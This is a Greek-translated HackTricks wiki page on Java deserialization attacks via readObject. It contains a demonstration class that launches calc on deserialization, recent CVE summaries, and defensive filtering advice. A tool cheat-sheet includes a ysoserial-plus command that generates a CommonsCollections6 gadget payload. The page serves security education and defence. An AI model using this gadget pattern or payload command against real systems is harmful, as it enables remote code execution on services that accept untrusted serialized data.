mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
155 lines
12 KiB
Markdown
155 lines
12 KiB
Markdown
# Basic Java Deserialization with ObjectInputStream readObject
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Σε αυτή την ανάρτηση θα εξηγηθεί ένα παράδειγμα χρησιμοποιώντας `java.io.Serializable` **και γιατί η υπερχείλιση του `readObject()` μπορεί να είναι εξαιρετικά επικίνδυνη αν το εισερχόμενο ρεύμα ελέγχεται από επιτιθέμενο**.
|
||
|
||
## Serializable
|
||
|
||
Η διεπαφή Java `Serializable` (`java.io.Serializable`) είναι μια διεπαφή σήμανσης που οι κλάσεις σας πρέπει να υλοποιούν αν θέλουν να είναι **serializable** και **deserializable**. Η σειριοποίηση αντικειμένων Java (γραφή) γίνεται με το [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) και η αποσειριοποίηση (ανάγνωση) γίνεται με το [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||
|
||
### Υπενθύμιση: Ποιες μέθοδοι καλούνται έμμεσα κατά την αποσειριοποίηση;
|
||
|
||
1. `readObject()` – λογική ανάγνωσης συγκεκριμένης κλάσης (αν έχει υλοποιηθεί και είναι *ιδιωτική*).
|
||
2. `readResolve()` – μπορεί να αντικαταστήσει το αποσειριοποιημένο αντικείμενο με ένα άλλο.
|
||
3. `validateObject()` – μέσω callbacks `ObjectInputValidation`.
|
||
4. `readExternal()` – για κλάσεις που υλοποιούν `Externalizable`.
|
||
5. Οι κατασκευαστές **δεν** εκτελούνται – επομένως οι αλυσίδες gadget βασίζονται αποκλειστικά στους προηγούμενους callbacks.
|
||
|
||
Οποιαδήποτε μέθοδος σε αυτή την αλυσίδα που καταλήγει να καλεί δεδομένα ελεγχόμενα από επιτιθέμενο (εκτέλεση εντολών, αναζητήσεις JNDI, ανακλαστικότητα, κ.λπ.) μετατρέπει τη ρουτίνα αποσειριοποίησης σε gadget RCE.
|
||
|
||
Ας δούμε ένα παράδειγμα με μια **κλάση Person** που είναι **serializable**. Αυτή η κλάση **υπερκαλύπτει τη συνάρτηση readObject**, έτσι όταν **οποιοδήποτε αντικείμενο** αυτής της **κλάσης** είναι **deserialized** αυτή η **συνάρτηση** θα **εκτελείται**.\
|
||
Στο παράδειγμα, η **συνάρτηση readObject** της κλάσης Person καλεί τη συνάρτηση `eat()` του κατοικίδιου του και η συνάρτηση `eat()` ενός Σκύλου (για κάποιο λόγο) καλεί ένα **calc.exe**. **Θα δούμε πώς να σειριοποιήσουμε και να αποσειριοποιήσουμε ένα αντικείμενο Person για να εκτελέσουμε αυτόν τον υπολογιστή:**
|
||
|
||
**Το παρακάτω παράδειγμα είναι από <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||
```java
|
||
import java.io.Serializable;
|
||
import java.io.*;
|
||
|
||
public class TestDeserialization {
|
||
interface Animal {
|
||
public void eat();
|
||
}
|
||
//Class must implements Serializable to be serializable
|
||
public static class Cat implements Animal,Serializable {
|
||
@Override
|
||
public void eat() {
|
||
System.out.println("cat eat fish");
|
||
}
|
||
}
|
||
//Class must implements Serializable to be serializable
|
||
public static class Dog implements Animal,Serializable {
|
||
@Override
|
||
public void eat() {
|
||
try {
|
||
Runtime.getRuntime().exec("calc");
|
||
} catch (IOException e) {
|
||
e.printStackTrace();
|
||
}
|
||
System.out.println("dog eat bone");
|
||
}
|
||
}
|
||
//Class must implements Serializable to be serializable
|
||
public static class Person implements Serializable {
|
||
private Animal pet;
|
||
public Person(Animal pet){
|
||
this.pet = pet;
|
||
}
|
||
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
|
||
private void readObject(java.io.ObjectInputStream stream)
|
||
throws IOException, ClassNotFoundException {
|
||
pet = (Animal) stream.readObject();
|
||
pet.eat();
|
||
}
|
||
}
|
||
public static void GeneratePayload(Object instance, String file)
|
||
throws Exception {
|
||
//Serialize the constructed payload and write it to the file
|
||
File f = new File(file);
|
||
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
||
out.writeObject(instance);
|
||
out.flush();
|
||
out.close();
|
||
}
|
||
public static void payloadTest(String file) throws Exception {
|
||
//Read the written payload and deserialize it
|
||
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
||
Object obj = in.readObject();
|
||
System.out.println(obj);
|
||
in.close();
|
||
}
|
||
public static void main(String[] args) throws Exception {
|
||
// Example to call Person with a Dog
|
||
Animal animal = new Dog();
|
||
Person person = new Person(animal);
|
||
GeneratePayload(person,"test.ser");
|
||
payloadTest("test.ser");
|
||
// Example to call Person with a Cat
|
||
//Animal animal = new Cat();
|
||
//Person person = new Person(animal);
|
||
//GeneratePayload(person,"test.ser");
|
||
//payloadTest("test.ser");
|
||
}
|
||
}
|
||
```
|
||
### Συμπέρασμα (κλασικό σενάριο)
|
||
|
||
Όπως μπορείτε να δείτε σε αυτό το πολύ βασικό παράδειγμα, η “ευπάθεια” εδώ εμφανίζεται επειδή η μέθοδος **readObject()** **καλεί άλλον κώδικα που ελέγχεται από τον επιτιθέμενο**. Σε πραγματικές αλυσίδες gadget, χιλιάδες κλάσεις που περιέχονται σε εξωτερικές βιβλιοθήκες (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, κ.λπ.) μπορούν να καταχραστούν – ο επιτιθέμενος χρειάζεται μόνο *μία* προσβάσιμη gadget για να αποκτήσει εκτέλεση κώδικα.
|
||
|
||
---
|
||
|
||
## 2023-2025: Τι νέο υπάρχει στις επιθέσεις αποσυμπίεσης Java;
|
||
|
||
* 2023 – CVE-2023-34040: Η αποσυμπίεση κεφαλίδων σφαλμάτων του Spring-Kafka όταν είναι ενεργοποιημένες οι σημαίες `checkDeserExWhen*` επέτρεψε την αυθαίρετη κατασκευή gadget από θέματα που δημοσιεύθηκαν από τον επιτιθέμενο. Διορθώθηκε στην 3.0.10 / 2.9.11. ¹
|
||
* 2023 – CVE-2023-36480: Η υπόθεση αξιόπιστου διακομιστή του Aerospike Java client παραβιάστηκε – οι κακόβουλες απαντήσεις του διακομιστή περιείχαν σειριακά payloads που αποσυμπιέστηκαν από τον client → RCE. ²
|
||
* 2023 – CVE-2023-25581: Η ανάλυση του χαρακτηριστικού προφίλ χρήστη του `pac4j-core` αποδέχθηκε blobs Base64 με πρόθεμα `{#sb64}` και τα αποσυμπίεσε παρά την ύπαρξη ενός `RestrictedObjectInputStream`. Αναβάθμιση ≥ 4.0.0.
|
||
* 2023 – CVE-2023-4528: Η υπηρεσία JSCAPE MFT Manager (θύρα 10880) αποδέχθηκε Java αντικείμενα κωδικοποιημένα σε XML που οδήγησαν σε RCE ως root/SYSTEM.
|
||
* 2024 – Προστέθηκαν πολλές νέες αλυσίδες gadget στο ysoserial-plus(mod) συμπεριλαμβανομένων των κλάσεων Hibernate5, TomcatEmbed και SnakeYAML 2.x που παρακάμπτουν ορισμένα παλιά φίλτρα.
|
||
|
||
## Σύγχρονες μετρήσεις που πρέπει να εφαρμόσετε
|
||
|
||
1. **JEP 290 / Φιλτράρισμα Σειριοποίησης (Java 9+)**
|
||
*Προσθέστε μια λίστα επιτρεπόμενων ή απαγορευμένων κλάσεων:*
|
||
```bash
|
||
# Αποδεχθείτε μόνο τα DTO σας και το java.base, απορρίψτε τα πάντα τα άλλα
|
||
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
|
||
```
|
||
Προγραμματιστικό παράδειγμα:
|
||
```java
|
||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||
```
|
||
2. **JEP 415 (Java 17+) Φίλτρα Ειδικών Συγκείμενων** – χρησιμοποιήστε έναν `BinaryOperator<ObjectInputFilter>` για να εφαρμόσετε διαφορετικά φίλτρα ανά εκτελεστικό συγκείμενο (π.χ., ανά κλήση RMI, ανά καταναλωτή ουράς μηνυμάτων).
|
||
3. **Μην εκθέτετε το raw `ObjectInputStream` μέσω του δικτύου** – προτιμήστε κωδικοποιήσεις JSON/Binary χωρίς σημασιολογία εκτέλεσης κώδικα (Jackson μετά την απενεργοποίηση του `DefaultTyping`, Protobuf, Avro, κ.λπ.).
|
||
4. **Περιορισμοί Άμυνας σε Βάθος** – Ορίστε μέγιστο μήκος πίνακα, βάθος, αναφορές:
|
||
```bash
|
||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||
```
|
||
5. **Συνεχής σάρωση gadget** – εκτελέστε εργαλεία όπως `gadget-inspector` ή `serialpwn-cli` στο CI σας για να αποτύχει η κατασκευή αν γίνει προσβάσιμο ένα επικίνδυνο gadget.
|
||
|
||
## Ενημερωμένο cheat-sheet εργαλείων (2024)
|
||
|
||
* `ysoserial-plus.jar` – κοινότητα fork με > 130 αλυσίδες gadget:
|
||
```bash
|
||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||
```
|
||
* `marshalsec` – παραμένει η αναφορά για τη δημιουργία gadget JNDI (LDAP/RMI).
|
||
* `gadget-probe` – γρήγορη ανακάλυψη gadget black-box κατά των δικτυακών υπηρεσιών.
|
||
* `SerialSniffer` – JVMTI agent που εκτυπώνει κάθε κλάση που διαβάζεται από το `ObjectInputStream` (χρήσιμο για τη δημιουργία φίλτρων).
|
||
* **Συμβουλή ανίχνευσης** – ενεργοποιήστε το `-Djdk.serialDebug=true` (JDK 22+) για να καταγράψετε τις αποφάσεις φίλτρου και τις απορριφθείσες κλάσεις.
|
||
|
||
## Γρήγορη λίστα ελέγχου για ασφαλείς υλοποιήσεις `readObject()`
|
||
|
||
1. Κάντε τη μέθοδο `private` και προσθέστε την αναγνώριση `@Serial` (βοηθά στην στατική ανάλυση).
|
||
2. Ποτέ μην καλείτε μεθόδους που παρέχονται από τον χρήστη ή μην εκτελείτε I/O στη μέθοδο – μόνο διαβάστε πεδία.
|
||
3. Εάν απαιτείται επικύρωση, εκτελέστε την **μετά** την αποσυμπίεση, εκτός της `readObject()`.
|
||
4. Προτιμήστε να υλοποιήσετε το `Externalizable` και να κάνετε ρητές αναγνώσεις πεδίων αντί για προεπιλεγμένη σειριοποίηση.
|
||
5. Εγγραφείτε σε ένα σκληρυμένο `ObjectInputFilter` ακόμη και για εσωτερικές υπηρεσίες (σχεδίαση ανθεκτική σε παραβιάσεις).
|
||
|
||
## Αναφορές
|
||
|
||
1. Spring Security Advisory – CVE-2023-34040 Java Deserialization in Spring-Kafka (Αυγ 2023)
|
||
2. GitHub Security Lab – GHSL-2023-044: Unsafe Deserialization in Aerospike Java Client (Ιουλ 2023)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|